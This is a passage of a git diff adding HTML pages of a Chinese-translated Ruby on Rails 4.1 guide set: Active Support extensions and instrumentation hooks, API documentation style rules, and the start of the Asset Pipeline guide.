+
+  def self.call(severity, timestamp, progname, msg)
+    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
+  end
+end
+
+logger = Logger.new("log/development.log")
+logger.formatter = Logger::FormatWithTime
+logger.info("<- is the current time")
+
+
+
+

定义于 active_support/core_ext/logger.rb.

21 Extensions to NameError +

Active Support adds missing_name? to NameError, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.

A symbol can represent a fully-qualified constant name as in :"ActiveRecord::Base", so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of ArticlesController is called Rails tries optimistically to use ArticlesHelper. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that articles_helper.rb raises a NameError due to an actual unknown constant. That should be reraised. The method missing_name? provides a way to distinguish both cases:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

定义于 active_support/core_ext/name_error.rb.

22 Extensions to LoadError +

Active Support adds is_missing? to LoadError, and also assigns that class to the constant MissingSourceFile for backwards compatibility.

Given a path name is_missing? tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of ArticlesController is called Rails tries to load articles_helper.rb, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method is_missing? provides a way to distinguish both cases:

+
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue MissingSourceFile => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+
+
+
+

定义于 active_support/core_ext/load_error.rb.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_support_instrumentation.html b/v4.1/active_support_instrumentation.html new file mode 100644 index 0000000..f575576 --- /dev/null +++ b/v4.1/active_support_instrumentation.html @@ -0,0 +1,1131 @@ + + + + + + + +Active Support Instrumentation — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Support Instrumentation

Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.

In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.

After reading this guide, you will know:

+
    +
  • What instrumentation can provide.
  • +
  • The hooks inside the Rails framework for instrumentation.
  • +
  • Adding a subscriber to a hook.
  • +
  • Building a custom instrumentation implementation.
  • +
+ + + + +
+
+ +
+
+
+

1 Introduction to instrumentation

The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in (TODO: link to section detailing each hook point). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.

For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be subscribed to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.

You are even able to create your own events inside your application which you can later subscribe to.

2 Rails framework hooks

Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.

3 Action Controller

3.1 write_fragment.action_controller

+ + + + + + + + + + + + + +
KeyValue
:keyThe complete key
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.2 read_fragment.action_controller

+ + + + + + + + + + + + + +
KeyValue
:keyThe complete key
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.3 expire_fragment.action_controller

+ + + + + + + + + + + + + +
KeyValue
:keyThe complete key
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.4 exist_fragment?.action_controller

+ + + + + + + + + + + + + +
KeyValue
:keyThe complete key
+
+
+{
+  key: 'posts/1-dashboard-view'
+}
+
+
+
+

3.5 write_page.action_controller

+ + + + + + + + + + + + + +
KeyValue
:pathThe complete path
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.6 expire_page.action_controller

+ + + + + + + + + + + + + +
KeyValue
:pathThe complete path
+
+
+{
+  path: '/users/1'
+}
+
+
+
+

3.7 start_processing.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyValue
:controllerThe controller name
:actionThe action
:paramsHash of request parameters without any filtered parameter
:formathtml/js/json/xml etc
:methodHTTP request verb
:pathRequest path
+
+
+{
+  controller: "PostsController",
+  action: "new",
+  params: { "action" => "new", "controller" => "posts" },
+  format: :html,
+  method: "GET",
+  path: "/posts/new"
+}
+
+
+
+

3.8 process_action.action_controller

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyValue
:controllerThe controller name
:actionThe action
:paramsHash of request parameters without any filtered parameter
:formathtml/js/json/xml etc
:methodHTTP request verb
:pathRequest path
:view_runtimeAmount spent in view in ms
+
+
+{
+  controller: "PostsController",
+  action: "index",
+  params: {"action" => "index", "controller" => "posts"},
+  format: :html,
+  method: "GET",
+  path: "/posts",
+  status: 200,
+  view_runtime: 46.848,
+  db_runtime: 0.157
+}
+
+
+
+

3.9 send_file.action_controller

+ + + + + + + + + + + + + +
KeyValue
:pathComplete path to the file
+

Additional keys may be added by the caller.

3.10 send_data.action_controller

ActionController does not had any specific information to the payload. All options are passed through to the payload.

3.11 redirect_to.action_controller

+ + + + + + + + + + + + + + + + + +
KeyValue
:statusHTTP response code
:locationURL to redirect to
+
+
+{
+  status: 302,
+  location: "http://localhost:3000/posts/new"
+}
+
+
+
+

3.12 halted_callback.action_controller

+ + + + + + + + + + + + + +
KeyValue
:filterFilter that halted the action
+
+
+{
+  filter: ":halting_filter"
+}
+
+
+
+

4 Action View

4.1 render_template.action_view

+ + + + + + + + + + + + + + + + + +
KeyValue
:identifierFull path to template
:layoutApplicable layout
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
+  layout: "layouts/application"
+}
+
+
+
+

4.2 render_partial.action_view

+ + + + + + + + + + + + + +
KeyValue
:identifierFull path to template
+
+
+{
+  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+}
+
+
+
+

5 Active Record

5.1 sql.active_record

+ + + + + + + + + + + + + + + + + + + + + +
KeyValue
:sqlSQL statement
:nameName of the operation
:object_idself.object_id
+

The adapters will add their own data as well.

+
+{
+  sql: "SELECT \"posts\".* FROM \"posts\" ",
+  name: "Post Load",
+  connection_id: 70307250813140,
+  binds: []
+}
+
+
+
+

5.2 identity.active_record

+ + + + + + + + + + + + + + + + + + + + + +
KeyValue
:linePrimary Key of object in the identity map
:nameRecord's class
:connection_idself.object_id
+

6 Action Mailer

6.1 receive.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyValue
:mailerName of the mailer class
:message_idID of the message, generated by the Mail gem
:subjectSubject of the mail
:toTo address(es) of the mail
:fromFrom address of the mail
:bccBCC addresses of the mail
:ccCC addresses of the mail
:dateDate of the mail
:mailThe encoded form of the mail
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+
+
+
+

6.2 deliver.action_mailer

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyValue
:mailerName of the mailer class
:message_idID of the message, generated by the Mail gem
:subjectSubject of the mail
:toTo address(es) of the mail
:fromFrom address of the mail
:bccBCC addresses of the mail
:ccCC addresses of the mail
:dateDate of the mail
:mailThe encoded form of the mail
+
+
+{
+  mailer: "Notification",
+  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+  subject: "Rails Guides",
+  to: ["users@rails.com", "ddh@rails.com"],
+  from: ["me@rails.com"],
+  date: Sat, 10 Mar 2012 14:18:09 +0100,
+  mail: "..." # omitted for brevity
+}
+
+
+
+

7 ActiveResource

7.1 request.active_resource

+ + + + + + + + + + + + + + + + + + + + + +
KeyValue
:methodHTTP method
:request_uriComplete URI
:resultHTTP response object
+

8 Active Support

8.1 cache_read.active_support

+ + + + + + + + + + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
:hitIf this read is a hit
:super_operation:fetch is added when a read is used with #fetch +
+

8.2 cache_generate.active_support

This event is only used when #fetch is called with a block.

+ + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
+

Options passed to fetch will be merged with the payload when writing to the store

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8.3 cache_fetch_hit.active_support

This event is only used when #fetch is called with a block.

+ + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
+

Options passed to fetch will be merged with the payload.

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8.4 cache_write.active_support

+ + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
+

Cache stores may add their own keys

+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8.5 cache_delete.active_support

+ + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

8.6 cache_exist?.active_support

+ + + + + + + + + + + + + +
KeyValue
:keyKey used in the store
+
+
+{
+  key: 'name-of-complicated-computation'
+}
+
+
+
+

9 Railties

9.1 load_config_initializer.railties

+ + + + + + + + + + + + + +
KeyValue
:initializerPath to loaded initializer from config/initializers +
+

10 Rails

10.1 deprecation.rails

+ + + + + + + + + + + + + + + + + +
KeyValue
:messageThe deprecation warning
:callstackWhere the deprecation came from
+

11 Subscribing to an event

Subscribing to an event is easy. Use ActiveSupport::Notifications.subscribe with a block to +listen to any notification.

The block receives the following arguments:

+
    +
  • The name of the event
  • +
  • Time when it started
  • +
  • Time when it finished
  • +
  • An unique ID for this event
  • +
  • The payload (described in previous sections)
  • +
+
+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # your own custom stuff
+  Rails.logger.info "#{name} Received!"
+end
+
+
+
+

Defining all those block arguments each time can be tedious. You can easily create an ActiveSupport::Notifications::Event +from block arguments like this:

+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notifications::Event.new *args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
+
+
+
+

Most times you only care about the data itself. Here is a shortcut to just get the data.

+
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { extra: :information }
+end
+
+
+
+

You may also subscribe to events matching a regular expression. This enables you to subscribe to +multiple events at once. Here's you could subscribe to everything from ActionController.

+
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # inspect all ActionController events
+end
+
+
+
+

12 Creating custom events

Adding your own events is easy as well. ActiveSupport::Notifications will take care of +all the heavy lifting for you. Simply call instrument with a name, payload and a block. +The notification will be sent after the block returns. ActiveSupport will generate the start and end times +as well as the unique ID. All data passed into the instrument call will make it into the payload.

Here's an example:

+
+ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
+  # do your custom stuff here
+end
+
+
+
+

Now you can listen to this event with:

+
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # {:this=>:data}
+end
+
+
+
+

You should follow Rails conventions when defining your own events. The format is: event.library. +If you application is sending Tweets, you should create an event named tweet.twitter.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/api_documentation_guidelines.html b/v4.1/api_documentation_guidelines.html new file mode 100644 index 0000000..e396b0e --- /dev/null +++ b/v4.1/api_documentation_guidelines.html @@ -0,0 +1,508 @@ + + + + + + + +API Documentation Guidelines — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

API Documentation Guidelines

This guide documents the Ruby on Rails API documentation guidelines.

After reading this guide, you will know:

+
    +
  • How to write effective prose for documentation purposes.
  • +
  • Style guidelines for documenting different kinds of Ruby code.
  • +
+ + + + +
+
+ +
+
+
+

1 RDoc

The Rails API documentation is generated with +RDoc.

+
+  bundle exec rake rdoc
+
+
+
+

Resulting HTML files can be found in the ./doc/rdoc directory.

Please consult the RDoc documentation for help with the +markup, +and also take into account these additional +directives.

2 Wording

Write simple, declarative sentences. Brevity is a plus: get to the point.

Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".

Start comments in upper case. Follow regular punctuation rules:

+
+# Declares an attribute reader backed by an internally-named
+# instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+
+
+
+

Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.

Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?

The proper names of Rails components have a space in between the words, like "Active Support". ActiveRecord is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.

Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.

Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".

Prefer wordings that avoid "you"s and "your"s. For example, instead of

+
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+
+
+
+

use this style:

+
+If `return` is needed it is recommended to explicitly define a method.
+
+
+
+

That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of:

+
    +
  • he or she... use they.
  • +
  • him or her... use them.
  • +
  • his or her... use their.
  • +
  • his or hers... use theirs.
  • +
  • himself or herself... use themselves.
  • +
+

3 English

Please use American English (color, center, modularize, etc). See a list of American and British English spelling differences here.

4 Example Code

Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.

Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use Rails coding conventions.

Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:

+
+# Converts a collection of elements into a formatted string by
+# calling +to_s+ on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+
+
+
+

On the other hand, big chunks of structured documentation may have a separate "Examples" section:

+
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(name: "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+
+
+
+

The results of expressions follow them and are introduced by "# => ", vertically aligned:

+
+# For checking if a fixnum is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+
+
+
+

If a line is too long, the comment may be placed on the next line:

+
+#   label(:article, :title)
+#   # => <label for="article_title">Title</label>
+#
+#   label(:article, :title, "A short title")
+#   # => <label for="article_title">A short title</label>
+#
+#   label(:article, :title, "A short title", class: "title_label")
+#   # => <label for="article_title" class="title_label">A short title</label>
+
+
+
+

Avoid using any printing methods like puts or p for that purpose.

On the other hand, regular comments do not use an arrow:

+
+#   polymorphic_url(http://github.com/record)  # same as comment_url(http://github.com/record)
+
+
+
+

5 Booleans

In predicates and flags prefer documenting boolean semantics over exact values.

When "true" or "false" are used as defined in Ruby use regular font. The +singletons true and false need fixed-width font. Please avoid terms like +"truthy", Ruby defines what is true and false in the language, and thus those +words have a technical meaning and need no substitutes.

As a rule of thumb, do not document singletons unless absolutely necessary. That +prevents artificial constructs like !! or ternaries, allows refactors, and the +code does not need to rely on the exact values returned by methods being called +in the implementation.

For example:

+
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+
+
+
+

the user does not need to know which is the actual default value of the flag, +and so we only document its boolean semantics.

An example with a predicate:

+
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+  if loaded?
+    size.zero?
+  else
+    @target.blank? && !scope.exists?
+  end
+end
+
+
+
+

The API is careful not to commit to any particular value, the method has +predicate semantics, that's enough.

6 File Names

As a rule of thumb, use filenames relative to the application root:

+
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+
+
+
+

7 Fonts

7.1 Fixed-width Font

Use fixed-width fonts for:

+
    +
  • Constants, in particular class and module names.
  • +
  • Method names.
  • +
  • Literals like nil, false, true, self.
  • +
  • Symbols.
  • +
  • Method parameters.
  • +
  • File names.
  • +
+
+
+class Array
+  # Calls +to_param+ on all its elements and joins the result with
+  # slashes. This is used by +url_for+ in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+
+
+
+

Using +...+ for fixed-width font only works with simple content like +ordinary method names, symbols, paths (with forward slashes), etc. Please use +<tt>...</tt> for everything else, notably class or module names with a +namespace as in <tt>ActiveRecord::Base</tt>.

You can quickly test the RDoc output with the following command:

+
+$ echo "+:to_param+" | rdoc --pipe
+#=> <p><code>:to_param</code></p>
+
+
+
+

7.2 Regular Font

When "true" and "false" are English words rather than Ruby keywords use a regular font:

+
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+
+
+
+

8 Description Lists

In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):

+
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+
+
+
+

The description starts in upper case and ends with a full stop-it's standard English.

9 Dynamically Generated Methods

Methods created with (module|class)_eval(STRING) have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:

+
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+
+
+
+

If the resulting lines are too wide, say 200 columns or more, put the comment above the call:

+
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+
+
+
+

10 Method Visibility

When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.

Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the :nodoc: directive to annotate these kinds of methods as internal API.

This means that there are methods in Rails with public visibility that aren't meant for user consumption.

An example of this is ActiveRecord::Core::ClassMethods#arel_table:

+
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+
+
+
+

If you thought, "this method looks like a public class method for ActiveRecord::Core", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as :nodoc: and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.

As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you :nodoc: any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.

A class or module is marked with :nodoc: to indicate that all methods are internal API and should never be used directly.

If you come across an existing :nodoc: you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.

A :nodoc: should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a :nodoc: by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.

To summarize, the Rails team uses :nodoc: to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.

11 Regarding the Rails Stack

When documenting parts of Rails API, it's important to remember all of the +pieces that go into the Rails stack.

This means that behavior may change depending on the scope or context of the +method or class you're trying to document.

In various places there is different behavior when you take the entire stack +into account, one such example is +ActionView::Helpers::AssetTagHelper#image_tag:

+
+# image_tag("icon.png")
+#   # => <img alt="Icon" src="http://github.com/assets/icon.png" />
+
+
+
+

Although the default behavior for #image_tag is to always return +/images/icon.png, we take into account the full Rails stack (including the +Asset Pipeline) we may see the result seen above.

We're only concerned with the behavior experienced when using the full default +Rails stack.

In this case, we want to document the behavior of the framework, and not just +this specific method.

If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the issue tracker.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/asset_pipeline.html b/v4.1/asset_pipeline.html new file mode 100644 index 0000000..5a40d8b --- /dev/null +++ b/v4.1/asset_pipeline.html @@ -0,0 +1,837 @@ + + + + + + + +Asset Pipeline — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Asset Pipeline

本文介绍 Asset Pipeline。

读完本文,你将学到:

+
    +
  • Asset Pipeline 是什么以及其作用;
  • +
  • 如何合理组织程序的静态资源;
  • +
  • Asset Pipeline 的优势;
  • +
  • 如何向 Asset Pipeline 中添加预处理器;
  • +
  • 如何在 gem 中打包静态资源;
  • +
+ + + + +
+
+ +
+
+
+

1 Asset Pipeline 是什么?

Asset Pipeline 提供了一个框架,用于连接、压缩 JavaScript 和 CSS 文件。还允许使用其他语言和预处理器编写 JavaScript 和 CSS,例如 CoffeeScript、Sass 和 ERB。

严格来说,Asset Pipeline 不是 Rails 4 的核心功能,已经从框架中提取出来,制成了 sprockets-rails gem。

Asset Pipeline 功能默认是启用的。

新建程序时如果想禁用 Asset Pipeline,可以在命令行中指定 --skip-sprockets 选项。

+
+rails new appname --skip-sprockets
+
+
+
+

Rails 4 会自动把 sass-railscoffee-railsuglifier 三个 gem 加入 Gemfile。Sprockets 使用这三个 gem 压缩静态资源:

+
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
+
+
+
+

指定 --skip-sprockets 命令行选项后,Rails 4 不会把 sass-railsuglifier 加入 Gemfile。如果后续需要使用 Asset Pipeline,需要手动添加这些 gem。而且,指定 --skip-sprockets 命令行选项后,生成的 config/application.rb 文件也会有点不同,把加载 sprockets/railtie 的代码注释掉了。如果后续启用 Asset Pipeline,要把这行前面的注释去掉:

+
+# require "sprockets/railtie"
+
+
+
+

production.rb 文件中有相应的选项设置静态资源的压缩方式:config.assets.css_compressor 针对 CSS,config.assets.js_compressor 针对 Javascript。

+
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglify
+
+
+
+

如果 Gemfile 中有 sass-rails,就会自动用来压缩 CSS,无需设置 config.assets.css_compressor 选项。

1.1 主要功能

Asset Pipeline 的第一个功能是连接静态资源,减少渲染页面时浏览器发起的请求数。浏览器对并行的请求数量有限制,所以较少的请求数可以提升程序的加载速度。

Sprockets 会把所有 JavaScript 文件合并到一个主 .js 文件中,把所有 CSS 文件合并到一个主 .css 文件中。后文会介绍,合并的方式可按需求随意定制。在生产环境中,Rails 会在文件名后加上 MD5 指纹,以便浏览器缓存,指纹变了缓存就会过期。修改文件的内容后,指纹会自动变化。

Asset Pipeline 的第二个功能是压缩静态资源。对 CSS 文件来说,会删除空白和注释。对 JavaScript 来说,可以做更复杂的处理。处理方式可以从内建的选项中选择,也可使用定制的处理程序。

Asset Pipeline 的第三个功能是允许使用高级语言编写静态资源,再使用预处理器转换成真正的静态资源。默认支持的高级语言有:用来编写 CSS 的 Sass,用来编写 JavaScript 的 CoffeeScript,以及 ERB。

1.2 指纹是什么,我为什么要关心它?

指纹可以根据文件内容生成文件名。文件内容变化后,文件名也会改变。对于静态内容,或者很少改动的内容,在不同的服务器之间,不同的部署日期之间,使用指纹可以区别文件的两个版本内容是否一样。

如果文件名基于内容而定,而且文件名是唯一的,HTTP 报头会建议在所有可能的地方(CDN,ISP,网络设备,网页浏览器)存储一份该文件的副本。修改文件内容后,指纹会发生变化,因此远程客户端会重新请求文件。这种技术叫做“缓存爆裂”(cache busting)。

Sprockets 使用指纹的方式是在文件名中加入内容的哈希值,一般加在文件名的末尾。例如,global.css 加入指纹后的文件名如下:

+
+global-908e25f4bf641868d8683022a5b62f54.css
+
+
+
+

Asset Pipeline 使用的就是这种指纹实现方式。

以前,Rails 使用内建的帮助方法,在文件名后加上一个基于日期生成的请求字符串,如下所示:

+
+/stylesheets/global.css?1309495796
+
+
+
+

使用请求字符串有很多缺点:

+
    +
  1. 文件名只是请求字符串不同时,缓存并不可靠
    +Steve Souders 建议:不在要缓存的资源上使用请求字符串。他发现,使用请求字符串的文件不被缓存的可能性有 5-20%。有些 CDN 验证缓存时根本无法识别请求字符串。

  2. +
  3. 在多服务器环境中,不同节点上的文件名可能不同
    +在 Rails 2.x 中,默认的请求字符串由文件的修改时间生成。静态资源文件部署到集群后,无法保证时间戳都是一样的,得到的值取决于使用哪台服务器处理请求。

  4. +
  5. 缓存验证失败过多
    +部署新版代码时,所有静态资源文件的最后修改时间都变了。即便内容没变,客户端也要重新请求这些文件。

  6. +
+

使用指纹就无需再用请求字符串了,而且文件名基于文件内容,始终保持一致。

默认情况下,指纹只在生产环境中启用,其他环境都被禁用。可以设置 config.assets.digest 选项启用或禁用。

扩展阅读:

+ +

2 如何使用 Asset Pipeline

在以前的 Rails 版本中,所有静态资源都放在 public 文件夹的子文件夹中,例如 imagesjavascriptsstylesheets。使用 Asset Pipeline 后,建议把静态资源放在 app/assets 文件夹中。这个文件夹中的文件会经由 Sprockets 中间件处理。

静态资源仍然可以放在 public 文件夹中,其中所有文件都会被程序或网页服务器视为静态文件。如果文件要经过预处理器处理,就得放在 app/assets 文件夹中。

默认情况下,在生产环境中,Rails 会把预先编译好的文件保存到 public/assets 文件夹中,网页服务器会把这些文件视为静态资源。在生产环境中,不会直接伺服 app/assets 文件夹中的文件。

2.1 控制器相关的静态资源

生成脚手架或控制器时,Rails 会生成一个 JavaScript 文件(如果 Gemfile 中有 coffee-rails,会生成 CoffeeScript 文件)和 CSS 文件(如果 Gemfile 中有 sass-rails,会生成 SCSS 文件)。生成脚手架时,Rails 还会生成 scaffolds.css 文件(如果 Gemfile 中有 sass-rails,会生成 scaffolds.css.scss 文件)。

例如,生成 ProjectsController 时,Rails 会新建 app/assets/javascripts/projects.js.coffeeapp/assets/stylesheets/projects.css.scss 两个文件。默认情况下,这两个文件立即就可以使用 require_tree 引入程序。关于 require_tree 的介绍,请阅读“清单文件和指令”一节。

针对控制器的样式表和 JavaScript 文件也可只在相应的控制器中引入:

<%= javascript_include_tag params[:controller] %><%= stylesheet_link_tag params[:controller] %>

如果需要这么做,切记不要使用 require_tree。如果使用了这个指令,会多次引入相同的静态资源。

